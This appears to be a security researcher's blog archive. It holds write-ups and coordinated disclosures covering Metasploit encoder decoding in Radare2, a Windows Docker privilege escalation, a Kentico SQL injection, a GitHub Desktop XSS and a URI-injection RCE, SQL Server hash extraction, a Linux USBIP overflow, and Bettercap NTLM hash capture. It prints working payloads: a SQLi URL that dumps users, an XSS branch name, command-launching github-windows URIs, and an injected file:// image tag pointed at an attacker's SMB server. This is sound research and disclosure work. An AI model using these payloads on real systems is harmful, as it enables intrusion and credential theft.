This decoder stub looks quite straight forward, it is a basic XOR decoding method with a decrementing key, used to deobfuscate the original payload. Let’s encode a simple payload and see what the resulting disassembly looks like in Radare2:
msfvenom -p linux/x86/exec CMD=ls -e x86/countdown -f elf -o payload_countdown
As we can see, our disassembly matches the decoder in terms of byte values. You may notice however that the disassembly description looks slightly odd, this is due to the way in which the ‘call $+4’ jumps into the middle of an instruction. To stay on track, we can ignore this for now, however "e asm.middle=true” setting will help you to spot these kinds of tricks in future by adding a “middle” comment alongside these kinds of instructions.
Lets set up our ESIL VM and start stepping through the encoder which will help us to understand how this works, and what we must do to extract the raw payload. We can do this with the following Radare2 commands:
aei - Used to initialise the ESIL VM
aeim 0xffffd000 0x2000 stack - Used to initialise a 0x2000 byte stack for our ESIL VM to use
aeip - Sets the instruction pointer of the ESIL VM to our current location
e io.cache=true - Allows modification of the file (required by our decoder routine) without persisting to disk
Once we have set up the ESIL VM, we can check the emulated registers values before we start stepping through the decoder with the “aer” command:
[0x08048054]> aer oeax = 0x00000000 eax = 0x00000000 ebx = 0x00000000 ecx = 0x00000000 edx = 0x00000000 esi = 0x00000000 edi = 0x00000000 esp = 0xffffe000 ebp = 0xffffe000 eip = 0x08048054 eflags = 0x00000000
Looks good, we have a stack and our EIP value is set to our current function. Now we can switch into Visual mode and step through the code to watch the magic happen:
Comparing this to the original disassembly, we can see that we are now presented with a different set of bytes after the ‘loop’ instruction. This is the unencoded version of "linux/x86/exec" payload.
Knowing this, we can look to port this into an r2pipe python script which will complete the following steps:
Set up the ESIL VM
Emulate instructions until we land after the ‘loop’ opcode
Dump the unencoded payload after the ‘loop’
The final python script can be found here: https://gist.github.com/xpn/9dbc8aea2ea53d92f9fca08f0a1e4fa7
Lets do that again - x86/jmp_call_additive
Lets look at another encoder, “x86/jmp_call_additive”, and see if we can apply the same concepts as those above to decode a payload. First we look at the source of the decoder:
https://github.com/rapid7/metasploit-framework/blob/master/modules/encoders/x86/jmp_call_additive.rb
We find the decoder stub as:
"\xfc" + # cld "\xbbXORK" + # mov ebx, key "\xeb\x0c" + # jmp short 0x14 "\x5e" + # pop esi "\x56" + # push esi "\x31\x1e" + # xor [esi], ebx "\xad" + # lodsd "\x01\xc3" + # add ebx, eax "\x85\xc0" + # test eax, eax "\x75\xf7" + # jnz 0xa "\xc3" + # ret "\xe8\xef\xff\xff\xff", # call 0x8
As before, we generate our payload:
msfvenom -p linux/x86/exec CMD=ls -e x86/jmp_call_additive -f elf -o payload_countdown
..then disassemble:
.. and finally, initialise and run against the ESIL VM:
Again, we can see that our payload is decoded, and the original payload is placed at the end of the decoder. This means we can simply amend our previous r2pipe python script to execute the ESIL VM until we have passed the final ‘call’ instruction, and then dump the unencoded payload.
The final script can be found here: https://gist.github.com/xpn/83c0b6b45a260d0d24408377ecd8bb55
Something a little more complicated - x86/alpha_mixed
Now that we have the basics, lets move onto something slightly more difficult, the “x86/alpha_mixed" encoder. This encoder takes a payload, and converts the binary into an ASCII charset.
Again, lets take a look at the decoder stub found at https://github.com/rapid7/rex-encoder/blob/master/lib/rex/encoder/alpha2/alpha_mixed.rb:
"jA" + # push 0x41 "X" + # pop eax "P" + # push eax "0A0" + # xor byte [ecx+30], al "A" + # inc ecx 10 | "2AB" + # xor al, [ecx + 42] | "2BB" + # xor al, [edx + 42] | "0BB" + # xor [edx + 42], al | "A" + # inc ecx | "B" + # inc edx | "X" + # pop eax | "P" + # push eax | "8AB" + # cmp [ecx + 42], al | "uJ" + # jnz short ------------------------- "I" # first encoded char, fixes the above J
As before, we generate an encoded payload using:
msfvenom -p linux/x86/exec CMD=ls -e x86/alpha_mixed -f elf -o payload_alpha
As you can see, the disassembly has an extra set of bytes above what we were expecting, including FPU instructions. If we refer back to the Radare2 article in which the shaketa-ga-nai encoder was unpacked, we know that FPU instructions are not yet supported by ESIL, which means we are forced to mock these instructions to have our ESIL VM work correctly.
This is actually a lot easier than it sounds, as in this case, the ‘fnstenv’ FPU opcode is simply being used to retrieve the current instruction pointer. All our mock code has to do is to retrieve the EIP pointer and add this to the stack to emulate this FPU instruction.
Another odd thing that you will notice, is that the final ‘jne’ instruction at address 0x0804808d jumps forward within our disassembly, whereas the source code of the decoder stub clearly shows this should be a jump back into the decoder. This is one of the cool things about emulating code, strange things like this become clear without the need to fire up a debugger.
Again, lets set up our ESIL VM and begin emulating the decoder:
aei aeip aeim 0xffffd000 0x2000 stack e io.cache=true
We first step through the code until our EIP value points to just after the "fnstenv" opcode. At this point, we want to put the address of the last FPU instruction on the stack, which in this case is the ‘fld’ opcode at 0x08048056. We can do this with the following r2 command:
wv 0x08048056 @ 0xffffe000
Once we have mocked this instruction, we can continue on with our stepping. You will quickly notice that after the first round of ‘xor’ instructions, the ‘jne’ location has been updated to something more recognisable:
This was due to the "4a" byte value which was updated by the decoder to "e9" to fit in with the ‘alpha_upper’ requirement, and also explains the comment in the decoder source that we saw:
"uJ" + # jnz short ------------------------- "I" # first encoded char, fixes the above J
Our final r2pipe script can be found here: https://gist.github.com/xpn/da4a497288d6e1ed066d47ff1b2ce2d7.
Hopefully the above gives you some idea over the power of ESIL, and Radare2's emulation capability. If you have any feedback, feel free to comment in the usual places.
1 note
·
View note
Text
Windows Server 2016 / Docker Privilege Escalation
After catching Microsoft's talk at DockerCon discussing the recent addition of Docker container support in Windows Server 2016, I wanted to play around with the technology with the aim of understanding how this could be leveraged during a security assessment.
Before starting, I first had to configure Windows Server to support Docker containers. This was pretty painless using the following steps:
Install Windows Server 2016
Install the latest patches
Install "Containers" as a feature on the server
Follow “Install Docker” steps from the MSDN Quick Start guide
Once Docker had been installed, I found that by default only a member of the Administrators group (utilising a UAC elevated command prompt) was able to interact with the Docker named pipe (\\.\pipe\docker_engine) which is used to control the Docker service.
For example, if we are authenticated as a user who is not within the Administrators group, we receive the following error upon issuing the "docker version" command:
error during connect: Get http://%2F%2F.%2Fpipe%2Fdocker_engine/v1.25/version: open //./pipe/docker_engine: Access is denied.
As documented by Microsoft here, it is possible to modify the permissions required to access the Docker service. By creating a file named "daemon.json" within "%programdata%\docker\config", we can specify the group a user is required to be a member of in order to interact with Docker, for example:
{ "group" : “Users" }
Reviewing the access rights on the "%programdata%\docker\config" directory, we find the following permissions are used by default upon install:
C:\ProgramData\docker\config NT AUTHORITY\SYSTEM:(OI)(CI)(ID)F BUILTIN\Administrators:(OI)(CI)(ID)F CREATOR OWNER:(OI)(CI)(IO)(ID)F BUILTIN\Users:(OI)(CI)(ID)R BUILTIN\Users:(CI)(ID)(special access:) FILE_WRITE_DATA FILE_APPEND_DATA FILE_WRITE_EA FILE_WRITE_ATTRIBUTES
Most notably, the "BUILTIN\Users" group is permitted to add files to the directory. This means as a low privileged user, we can create a "daemon.json" file as above, allowing low privileged users to interact with the Docker service.
Note: For the configuration changes to take effect, the Docker service needs to be restarted, or the operating system restarted.
At this point, exploitation is similar to that of the Linux Docker environment. For example, we can mount volumes within the Docker container using the following command:
docker -it -v C:\Users\Administrator:C:\vuln microsoft/nanoserver cmd.exe
Executing this command, cmd.exe will be launched inside a Docker container with read/write access to the C:\Users\Administrator directory on the host operating system via C:\vuln.
A short POC demonstration is available which shows exploitation from beginning to end:
youtube
I'd like to thank Microsoft and Docker for their communication and effort throughout the remediation process.
For any users affected, the following steps have been taken by Microsoft and Docker to remediate this issue:
v1.13-rc Docker builds have been fixed.
A pull request can be found here which shows the applied fix.
A Powershell script is currently being developed which checks ACL's on previous deployments of Docker here.
Disclosure Timeline
3rd November 2016 - Initial disclosure to Microsoft MSRC
3rd November 2016 - Confirmation from Microsoft, assigning case number
14th November 2016 - Microsoft confirm that they are working directly with Docker to fix
10th January 2017 - Microsoft confirm fix has been shipped in Docker v1.13-rc builds
0 notes
Text
Kentico CMS (< 9.0.42) SQLi
Kentico CMS is a web content management system for building websites, e-commerce stores and numerous other web applications in ASP.NET.
During a review of the CMS in a lab environment, I came across a SQL injection vulnerability which was interesting due to the complicated regex check which is used to try and prevent this kind of exploit.
Kentico CMS supports the ability for users to query a website via a REST based API. Whilst varying levels of authorisation are used to restrict access, a number of API calls are available to users registered against a site with no special credentials, for example a user looking to buy products from an e-commerce site is often permitted to register for an account.
Once a user is registered, the following URL is accessible to retrieve a XML response containing information from the CMS:
http://example/com/rest/content/all
If we review the documentation for the REST API (https://docs.kentico.com/display/K8/Getting+data+using+REST), we see there are a number of optional parmeters that can be passed to filter a query response, for example:
http://example.com/rest/content/all?format=json&where=NodeID=1
Focusing on the “where” URL parameter, we find that by disassembling the .NET dll’s, the following regex is used to validate a parameter value:
^[ ()]*(?:(?:(?:\[|@)?[A-Za-z0-9_.]+\]?(?:\.(?:\[|@)?[A-Za-z0-9_.]+\]?)?|[0-9.]*|(N'|')[^']*'|([0-9.]*|(N'|')[^']*')(\s*,\s*([0-9.]*|(N'|')[^']*'))+)(?:[ ()]*((?:(?:[+*/%=\-]|(?:NOT )?IN|(?:NOT )?BETWEEN|<>|!=|>=?|<=?|(?:OR|AND|(?:NOT )?LIKE))[ ()]*(?:(?:\[|@)?[A-Za-z0-9_.]+\]?(?:\.(?:\[|@)?[A-Za-z0-9_.]+\]?)?|[0-9.]*|(N'|')[^']*'|([0-9.]*|(N'|')[^']*')(\s*,\s*([0-9.]*|(N'|')[^']*'))+))|(?:IS (?:NOT )?NULL)))*)?[ ()]*$
If the parmaeter value passes the regex check, it is then included within a SQL query made to the back-end Microsoft SQL Server database.
After a bit of trial and error, we can see that it is possible to craft a query which bypass this regex, allowing arbitrary queries to be executed against the back-end database.
For example, the below exploit will retrieve a copy of all registered users within the Kentico CMS database:
http://example.com/rest/content/all?format=json&where=NodeID=-1/*'*/))))+AS+SubData;SELECT+*+FROM+CMS_User;+SELECT+*+FROM+(SELECT+1+AS+[CMS_C]+FROM+CMS_User--/*'*/
A fix is available for Kentico CMS users, it is recommended that this fix is applied as soon as possible.
I’d like to thank Kentico for their quick response, and communication throughout the remediation process.
Disclosure Timeline:
6th September - Initial contact with Kentico
8th September - Received confirmation from Kentico confirming vulnerability had been replicated
15th September - Contacted Kentico for update
11th October - Fix released in versions 7.0.105, 8.0.23, 8.1.19, 8.2.50, 9.0.42
1 note
·
View note
Text
Offensive Forensics - Recovering Files
At the moment, I've been looking at post exploitation methods, weather that is gaining persistance, extracting hashes, or finding additional pivot points.
One area that I'm quickly becoming interested in is applying basic forensics techniques to help recover data during an assessment.
One framework that can help with this, is PowerForensics. This framework comes with a number of interesting options, but the one which is useful for recovered deleted data is "Get-ForensicFileRecord".
So let's say that we have compromised a server, and we want to try and recover any sensitive files which may had been recently deleted.
First, we download the PowerForensics module:
Invoke-WebRequest https://github.com/Invoke-IR/PowerForensics/releases/download/1.1.1/PowerForensics.zip -OutFile powerforensics.zip
Once extracted, we import the module:
powershell -executionpolicy bypass import-module .\PowerForensicsv2.psd1
At this point we have our cmdlets loaded, so we can start hunting for those deleted files. We'll start by getting a list of all deleted files on the system:
Get-ForensicFileRecord | Where {$_.Deleted -eq $true} | Select FullName
At this point, you'll have to turn to your hacker intuition to see which files are worth recovering, but once you have your list and have spotted something which could be worthwhile, you can recover with the following:
$file = Get-ForensicFileRecord | Where {$_.FullName -eq "C:\passwords.txt"} $file.CopyFile("recovered.txt")
For more information on the PowerForensics toolkit, see the presentation given at 44CON here.
1 note
·
View note
Video
tumblr
Github Desktop - DOM XSS
I’ve always enjoyed “unusual” vulnerabilities, either bugs that you never knew were exploitable, or just funny quirks which lead to a vulnerability.
My recent finding within the Github Desktop for OSX ticked a few of those boxes, allowing me to trigger cross-site scripting in a desktop application.
The vulnerability is present due to the use of the Chromium Embedded Framework, which is used by the comparison graph you see at the top of the window. For exploitation purposes, this works like a sandboxed browser, rendering HTML and executing JavaScript provided.
To find the source of the vulnerability, we take a copy of the JavaScript used to render the comparison graph, which can be found within /Applications/GitHub Desktop/Contents/Resources/comparison-graph/scripts.js.
Reviewing the source for DOM XSS, we find a few candidates. I focused on the following for the purposes of the POC:
pull = $('<div class="commit latest synced merge pr comparison" data-branch="' + this.branch.name + '"></div>').prependTo(this.commitsContainer);
As we control the ‘this.branch.name’ property, we can set a branch name with the following:
git branch 'aa"><iframe/src=""/onload="document.body.innerHTML=prompt(/xss/)"><div/a="'
Then all is left to do hit the request button to fire our JavaScript.
Again full credit to GitHub on turnaround of this issue. Liaising with their infosec team to help remediate and retest issue was very quick thorough.
0 notes
Text
Extracting SQL Server Hashes From master.mdf
During a number of engagements, I have found myself in a position in which I have held administrative access to a server running a local instance of Microsoft SQL Server, but had not held credentials to access the service.
For seasoned penetration testers out there, you will know that there are multiple ways to gain access to a SQL Server once you have access to the local server, for example running SQLQuery as the SYSTEM user which often runs under the SysAdmin permission, or injecting into the service process and spawning SSMS.
It always worries me when injecting into a SQL Server process (or any critical process for that matter), especially during a live engagement in which downtime for the service can have real consequences. Up until now I have never had an option to complete a "safe" review of the credentials stored on such a database server.
With this is in mind, I started to research the process of safely recovering password hashes from a SQL Server instance when deployed in "Mixed Authentication Mode", which provides value during an assessment and helps you to potentially access the SQL server via the front door with weak passwords. The obvious target to do this was by reviewing the configuration and metadata that Microsoft SQL Server stores in its master.mdf file. There were a number of challenges in getting this to work, which I have documented below for anyone else interested in implementing or improving on this method.
MDF/LDF Files
To begin, we need a basic understanding of the structure of the on-disk database files which are our likely target for password hashes. When listing the DATA directory of a SQL Server install, commonly found in C:\Program Files\Microsoft SQL Server\SQL-VERSION\MSSQL\DATA, it is common to find 2 file types:
MDF
LDF
For the purposes of this post, we will be exploring the MDF file structure which contains the data we are interested in. For reference, LDF files contain the transaction log associated with a database and will likely be reviewed seperately in a future post.
The MDF file structure is organised into a number of “pages”, which in the case of SQL Server are 8KB in size and consist of a number of elements. As shown within Microsoft’s documentation, a page has the following structure:
Whilst this is a pretty basic overview of a page contents (excluding fun things like NULL bitmaps and index metadata), it gives an idea of the important concepts we will need to understand before being able to grab data from a MDF file.
Page Header
The page header contains the metadata associated with the body of a page. The work of reversing this header has already been done by Mark Rasmussen in his series of blog posts here, and is worth a read if you are interested in SQL Server forensics, or are just looking to understand its inner workings.
Taken from Mark's blog post, we can see that the header contains a number of fields useful to our cause:
Bytes Content ----- ------- 00 HeaderVersion (tinyint) 01 Type (tinyint) 02 TypeFlagBits (tinyint) 03 Level (tinyint) 04-05 FlagBits (smallint) 06-07 IndexID (smallint) 08-11 PreviousPageID (int) 12-13 PreviousFileID (smallint) 14-15 Pminlen (smallint) 16-19 NextPageID (int) 20-21 NextPageFileID (smallint) 22-23 SlotCnt (smallint) 24-27 ObjectID (int) 28-29 FreeCnt (smallint) 30-31 FreeData (smallint) 32-35 PageID (int) 36-37 FileID (smallint) 38-39 ReservedCnt (smallint) 40-43 Lsn1 (int) 44-47 Lsn2 (int) 48-49 Lsn3 (smallint) 50-51 XactReserved (smallint) 52-55 XdesIDPart2 (int) 56-57 XdesIDPart1 (smallint) 58-59 GhostRecCnt (smallint) 60-95 ?
When scanning through pages in the MDF file, we will be looking for the "ObjectID" of our target tables (explored a bit further on), as well as the "Type" flag which will show us the type of data stored within the page.
Data Row
After the page header, we find the bulk of our stored data contained within data rows. There are a number of bytes that we need to understand to allow extraction of data from a table.
The first 2 bytes of a data row contain status bits, which are essentially flags to indicate if variable length fields such as varchar are present within the row.
Next up is the length of fixed sized fields in the row, so these are your char's, int etc.
Then we have the fixed data, so if your row contains two "char(4)" columns, this will contain 8 bytes of data.
Following this we have the "NULL bitmap", which indicates if the column contains a NULL value for this row. So for example if we have 8 columns and they all contain NULL values, this value will be set to 0xFF.
Next we have 2 bytes which contain the number of variable length columns stored in the row.
Then we have the variable column offset array, which is an array of 2 byte entries containing the offset within the row of where each variable length column ends. This allows you to quickly seek to the column that you are looking for in the row by looking up its offset within the array.
Finally we have the variable length-data, which is the actual data contained within those varchar/nvarchar fields.
If you would like to understand the inner workings of these structures, I highly recommend the book "Microsoft SQL Server 2008 Internals", which contains a lot of information on status bits and values contained wtihin the data row structure.
For our purposes, we are going to let a library take care of the parsing and navigation of the data row structure which I will show below.
User/Hash Storage in SQL Server
Now for the interesting stuff - how and where are password hashes stored in SQL Server. As any security minded SQL Server user will know, password hashes can be retrieved with the following query:
SELECT name, password_hash FROM sys.sql_logins
This query returns both the username and password hash of a SQL Server login and it is this data that we need to find within the MDF file. Let’s take a look at what kind of an object "sys.sql_logins" is:
SELECT * FROM sys.sysobjects WHERE id = OBJECT_ID(‘sys.sql_logins’)
It seems that this is a view, which means that before we can look to extract the underlying data from the file, we need to find out which table holds the actual username and hash. We can do this by using “sp_helptext” to find the source of the view data:
exec sp_helptext [sys.sql_logins]
Which gives us the following:
CREATE VIEW sys.sql_logins AS SELECT p.name, p.id AS principal_id, p.sid, p.type, n.name AS type_desc, sysconv(bit, p.status & 0x80) AS is_disabled, p.crdate AS create_date, p.modate AS modify_date, p.dbname AS default_database_name, p.lang AS default_language_name, r.indepid AS credential_id, sysconv(bit, p.status & 0x10000) AS is_policy_checked, sysconv(bit, p.status & 0x20000) AS is_expiration_checked, convert(varbinary(256), LoginProperty(p.name, 'PasswordHash')) AS password_hash FROM master.sys.sysxlgns p LEFT JOIN sys.syssingleobjrefs r ON r.depid = p.id AND r.class = 63 AND r.depsubid = 0 -- SRC_LOGIN_CREDENTIAL LEFT JOIN sys.syspalnames n ON n.class = 'LGTY' AND n.value = p.type WHERE type = 'S' AND has_access('LG', id) = 1
This shows that our data is held within a system table of sys.sqlxlgns. To verify, lets try and select the data:
SELECT * FROM master.sys.sysxlgns
So apparently SQL Server is unable to retrieve this table when logged in as a sysadmin user, which is strange. After a bit of digging it turns out that this table can only be queried using a dedicated admin connection (DAC). To access SQL Server via the DAC, we can use SQLQuery.exe with the ‘-A’ option or SSMS with the ADMIN prefix before the server name. A good walkthrough of the DAC can be found here.
So now we are connected using a DAC, lets try again:
SELECT * FROM sys.sysxlgns
And there we go, our list of users and password hashes. Next up, we need to find this table in the master.mdf file.
Locating objects via sys.sysschobjs
When parsing the raw data of a MDF file, as discussed above, a page contains the rows of data associated with a table. Within the header of a page, there is an ObjectID, but unfortunately for us there doesn’t seem to be a reference to the table name which means that we need a way to translate the ObjectID to a table name without the aid of SQL Server.
To do this, we can use the sys.sysschobjs table, which is an internal system table (https://msdn.microsoft.com/en-us/library/ms179503.aspx).
On SQL Server 2012, the sys.sysschobjs table has the following schema:
id - int name - sysname nsid - int nsclass - tinyint status - int type - char pid - int pclass - tinyint intprop - int created - datetime modified - datetime status2 - int
Of these fields, we are interested in the ‘id’ and ‘name’ fields for locating the sysxlgns table ObjectID. This table is another example of an internal system table which only seems accessible via a DAC, so lets query it to ensure that our sys.sysxlgns table is present and accessible:
SELECT * FROM sys.sysschobjs WHERE id = OBJECT_ID(‘sys.sysxlgns’)
Great, so we have an ObjectID of “42” for the sysxlgns table.
Now all we need to do is find the sys.sysschobjs page in the MDF file and we're all set. Lucky for us, it seems that the sys.sysschobjs ObjectID is set to "34" in versions of SQL Server 2008 onwards. This may change in future versions (or service packs), but for each version I've seen, and supporting online documentation, this ObjectID seems to be fairly consistent.
Reading master.mdf
OK, so we've explored the MDF file and have a good idea on how we can extract data from its contents, all that is left is to actually retrieve the file.
Attempts to copy the master.mdf file from a running database server will fail as SQL Server locks the file during operation. As I wanted a safe way to dump hashes without interupting the operation of the server, I needed to find a way to access master.mdf with SQL Server operating.
There are a couple of ways to do this, but I settled on the awesome PowerSploit tool Invoke-NinjaCopy. This tool works by parsing the NTFS file system and extracting the raw data from the disk, meaning DACLS and locks held on files are bypassed. Of course you need to be an Administrator to do this.
With that in mind, we can now see our process of extracting hashes becomes:
Locate the master.mdf file
Retrieve a copy of the file via Invoke-NinjaCopy
Scan through the pages of the MDF file, searching for sys.sysschobjs with an ObjectID of 34
Parse the sys.sysschobjs table to find the sys.sysxlgns objectID
Locate the sys.sysxlgns pages
Extract the data from the contained rows
OrcaMDF
At first, I was looking to extract data by reading in the MDF file and parsing the headers / pages manually until I accessed the data that I needed.
At this point I was told about OrcaMDF, a .NET library which allows offline parsing of MDF files. Specifically, we are interested in the “RawDatabase” functionality which gives us low-level access to pages and data rows without having to create the disk IO methods.
Using this library, I have created Get-MDFHashes, a very rough POC Powershell script which takes an MDF file as input (likely after after being NinjaCopy'd from the server), and outputs the usernames and password hashes. For example:
Once you have retrieved the hashes, you can dump the hashes into JTR and cross your fingers ;)
0 notes
Text
Linux USBIP overflow (CVE-2016-3955)
Recently I was forwarded a link to a patch within the Linux kernel which mitigates an overflow vulnerability within the USBIP functionality. For those that have never encountered USBIP, this is a protocol offered to allow remote clients to access USB devices plugged into a host machine.
Reviewing the patch, the issue was immediately visible as being a heap overflow vulnerability, exploitable due to a user controlled size value being trusted without validation.
So first let's look at the patch, which can be found here. This shows an obvious validation step which has been added to the "usbip_common.c" source:
if (size > urb->transfer_buffer_length) { /* should not happen, probably malicious packet */ if (ud->side == USBIP_STUB) { usbip_event_add(ud, SDEV_EVENT_ERROR_TCP); return 0; } else { usbip_event_add(ud, VDEV_EVENT_ERROR_TCP); return -EPIPE; } }
This validation step ensures that the "size" variable is less than, or equal to the value of "urb->transfer_buffer_length". To put this into context, the next statement to follow this check is:
ret = usbip_recv(ud->tcp_socket, urb->transfer_buffer, size);
This function call is responsible for reading data from the network into a memory location pointed to by "urb->transfer_buffer", which is consists of "urb->transfer_buffer_length" allocaed bytes. As we can see, the "size" variable is used to indicate the number of bytes that should be read into the buffer rather than "urb->transfer_buffer_length". So where is "size" defined? Well we find the answer at the top of the same function:
if (ud->side == USBIP_STUB) { /* the direction of urb must be OUT. */ if (usb_pipein(urb->pipe)) return 0; size = urb->transfer_buffer_length; } else { /* the direction of urb must be IN. */ if (usb_pipeout(urb->pipe)) return 0; size = urb->actual_length; }
So here we see that "size" can be one of two values depending on the condition on which it is assigned. The statement that interests us is:
size = urb->actual_length
Reviewing possible locations in which "urb->actual_length" is assigned, we find our answer within "usbip_pack_ret_submit()", a function responsible for taking a USB PDU (for our purpose, this structure consists of parameters received via the network) and unpacking the values into an "urb" struct. This function contains the following, which shows the assignment of the "actual_length" variable:
static void usbip_pack_ret_submit(struct usbip_header *pdu, struct urb *urb, int pack) { struct usbip_header_ret_submit *rpdu = &pdu->u.ret_submit; if (pack) { ... } else { urb->status = rpdu->status; urb->actual_length = rpdu->actual_length; urb->start_frame = rpdu->start_frame; urb->number_of_packets = rpdu->number_of_packets; urb->error_count = rpdu->error_count; } }
Working backwards, we see that this function is called by "usbip_pack_pdu" on the receipt of a "USBIP_RET_SUBMIT" command:
void usbip_pack_pdu(struct usbip_header *pdu, struct urb *urb, int cmd, int pack) { switch (cmd) { ... case USBIP_RET_SUBMIT: usbip_pack_ret_submit(pdu, urb, pack); break; ... } }
Finally, this function is called by "vhci_recv_ret_submit" during the processing of a received network packet:
static void vhci_recv_ret_submit(struct vhci_device *vdev, struct usbip_header *pdu) { ... /* unpack the pdu to a urb */ usbip_pack_pdu(pdu, urb, USBIP_RET_SUBMIT, 0); /* recv transfer buffer */ if (usbip_recv_xbuff(ud, urb) tcp_socket, &pdu, sizeof(pdu)); ... switch (pdu.base.command) { case USBIP_RET_SUBMIT: vhci_recv_ret_submit(vdev, &pdu); break; ... }
So to summarise our above Memento analysis of the vulnerability, the exploit for this issue would be as follows:
The USBIP kernel code must receive a network packet containing a command of "USBIP_RET_SUBMIT". This is sent as a response to the "USBIP_CMD_SUBMIT" request, meaning that the vulnerability would need to be triggered via a responding USBIP packet rather than a request.
The"actual_length" value of the packet must be greater than the URB "transfer_buffer_length", which is the length of the "transfer_buffer" heap allocation.
Finally, the exploit then needs to send enough bytes via the network to write beyond the bounds of the allocated heap buffer.
To help with the creation of a POC, a writeup of the protocol can be found within the Linux kernel documentation here.
The final POC exploit can be found here, which causes a DOS with the following stack trace:
Due to the clean overwrite that this vulnerability provides, the next stage will be to explore the possibility of RCE using this vulnerability, I will provide a further update once this has been explored.
0 notes
Text
GitHub Desktop - RCE
Recently GitHub disclosed a vulnerability which I reported within the GitHub for Windows client. This report can be found here. The aim of this post is to give a quick rundown of how the issue was discovered, and to introduce this type of vulnerability for those that may not have seen it before.
The GitHub for Windows client provides users with an easy way to manage their GitHub repo’s, from pushing to GitHub for the first time, to creating pull requests. In addition, GitHub provide the ability for users to clone an online repo via a button presented on the project page:
This button is implemented via a registered URI handler installed by the client. In the example above, a URI to the Metasploit-Framework would be:
github-windows://openRepo/https://github.com/rapid7/metasploit-framework
Microsoft allow applications to register new URI handlers via the registry by providing a command to execute along with the URI parameters. Looking at GitHub, we find the following registry key has been added:
[HKEY_CLASSES_ROOT\github-windows\shell\open\command] C:\Users\xpn\AppData\Local\Apps\2.0\R0M6MET2.YQR\DGEMRHGK.Z2O\gith..tion_317444273a93ac29_0003.0000_c74cce3a838f9354\GitHub.exe" -u="%1"
As we can see, an argument of -u is provided to the client, with the URI value encoded within quotation marks. This means that when the URI is invoked as "github-windows://openRepo/https://github.com/xpn/test", the following command is executed:
C:\Users\xpn\AppData\Local\Apps\2.0\R0M6MET2.YQR\DGEMRHGK.Z2O\gith..tion_317444273a93ac29_0003.0000_c74cce3a838f9354\GitHub.exe" -u="github-windows://openRepo/https://github.com/xpn/test"
Reviewing the Microsoft documentation on URI handlers, we find a number of security warnings, for example:
The string that is passed to a pluggable protocol handler might be broken across multiple parameters. Malicious parties could use additional quote or backslash characters to pass additional command line parameters.
With this in mind, let’s review the command line arguments that GitHub supports:
--open-shell[=VALUE] Open a Git Shell to the working directory. Specifying the working directory is optional. --set-up-ssh Setup SSH Keys --credentials=VALUE Credential caching api for use with Git --install Install the url protocol into the registry --delete-cache Clean all locally cached data --delete-credentials Clear all locally cached credentials --uninstall Uninstall the url protocol from the registry -u, --url=VALUE Clone the specified GitHub repository -p, --path=VALUE Selects the repository specified by the path. Running `GitHub the-path` also works. --cd, --current-directory=VALUE Sets the working directory of this instance. This is used for internal purposes. --config[=VALUE] Set or show configuration values --reinstall-shortcuts Reinstall GitHub Desktop and Git Shell shortcuts -h, -?, --help Display this message
To see if the client is vulnerable to argument injection, we can craft a URI as follows:
GitHub-Windows://a" --open-shell="
When requested, we are presented with:
So how can we turn this into RCE? Well for this we look to the –config option, specifically the following variables:
DefaultGitShell - The type of shell to open when “–open-shell” is requested, or set to “Custom” to launch an executable listed in “CustomShell”.
CustomShell - The path to a shell when DefaultGitShell is set to “Custom”.
By crafting these variables, and launching a shell with “--open-shell” argument, we can achieve RCE, for example:
github-windows://a" --config=DefaultGitShell="Custom github-windows://a" --config=CustomShell="C:\\windows\\system32\\calc.exe github-windows://a" --open-shell="
While our payload is set to launch calc.exe, by using UNC paths such as "\\attacker.com\openshare\payload.exe", it would be trivial to launch any payload.
Below is a demo of how this looks when launched via Microsoft Edge and Google Chrome. What I found interesting is the way in which different browsers react to URI’s. The first browser is Microsoft Edge, which requires no user interaction to launch the URI, but does advise the user that Github will be launched upon each new instance. Interestingly, no reference is made to the arguments passed to the URI.
The second browser is the latest version of Google Chrome, with the "github-windows://" URI warning accepted and set to ignore future warnings. This browser seemed to require a “click” event to trigger the URI (or 3 click events in our case).
youtube
This issue has been fixed in version 3.0.17 which is now available here.
I’d like to thank the GitHub team for their extremely quick triage and turnaround on this vulnerability. Not only was the issue recreated, fixed, and a new version released in 5 days, but their communication during the remediation (including putting me in contact with their developer to discuss how the issue had been fixed) was awesome.
0 notes
Text
Bettercap - Capturing NTLM Hashes
As many of you who follow me on twitter will know, I'm a big fan of the Bettercap project. Created by @EvilSocket, this tool is a reimagining of the historic Ettercap project, bringing it up to date, it's an invaluable tool for the penetration testing arsenal.
One of the many modules offered by the project is the HTTP Proxy module, which allows a man-in-the-middle to transparently proxy and modify HTTP traffic being returned to a user. While the possibilities are endless (1st April is coming up ;), one of the uses I have explored is the option of capturing Windows credentials from another user on the same network.
Due to the way in which Bettercap supports module development, there are endless ways to achieve this, but one simple and often fruitful resource used during assessments are SMB paths, and the Windows OS built in need to authenticate when it finds one.
For the purposes of demoing such an attack, a simple virtual lab environment was set up with the following layout:
Before we begin, we will need to install Bettercap on our Linux box. This is done by executing the following:
sudo apt-get install build-essential ruby-dev libpcap-dev gem install bettercap
Once installed, we need to configure Metasploit to start an SMB NTLM authentication server to capture passed credentials:
use auxiliary/server/capture/smb set JOHNPWFILE captured run
Then we can start Bettercap to inject our IMG tag into passing HTTP traffic:
bettercap --proxy --proxy-module injecthtml --html-data "<img src='file://192.168.0.26/aaa/bbb.jpg'/>" -T 192.168.0.12
When launched, Bettercap will add the image tag which contains a UNC path to our Metasploit instance. In turn, this will result in a vulnerable browser (such as Edge, or Internet Explorer) authenticating with the capture/smb Metasploit module, allowing us to dump the NTLM hash for offline bruteforcing.
Below is a quick video demonstrating this attack:
youtube
If you haven't already, check our the Bettersploit project at https://www.bettercap.org/.
1 note
·
View note
Video
vine
So today I had a bit of free time, and decided to experiment with the LibUSB framework on a Raspberry Pi I had lying around.
After a bit of reading, and reviewing the excellent documentation provided by the Xbox hacking community, I managed to get a simple C program running which demoed interrupt transfers for both activating the controller rumble feature, and receiving button presses.
For those interested, the code for the demo application can be found here.
3 notes
·
View notes
Text
SQL Server Authentication With Metasploit and MITM
While exploring the depths of Metasploit capture modules, I came across auxiliary/server/capture/mssql which can be found here. The module can be used to capture Microsoft SQL Server logon credentials if a user or client authenticates with the module. What caught my attention is just how effective this module can be in retrieving plain text credentials.
First a bit of background on SQL server authentication. Usually authentication is done using one of two methods, SQL Server Authentication or Windows Authentication. Windows Authentication allows you to access SQL Server using existing Windows credentials (such as local windows users or domain users), whereas SQL Server Authentication requires user credentials to be added and managed on SQL server directly. The specifics of each authentication method are out of this scope for this post, but today we will be focusing on a SQL Server Authentication weaknesses that this metasploit module exploits.
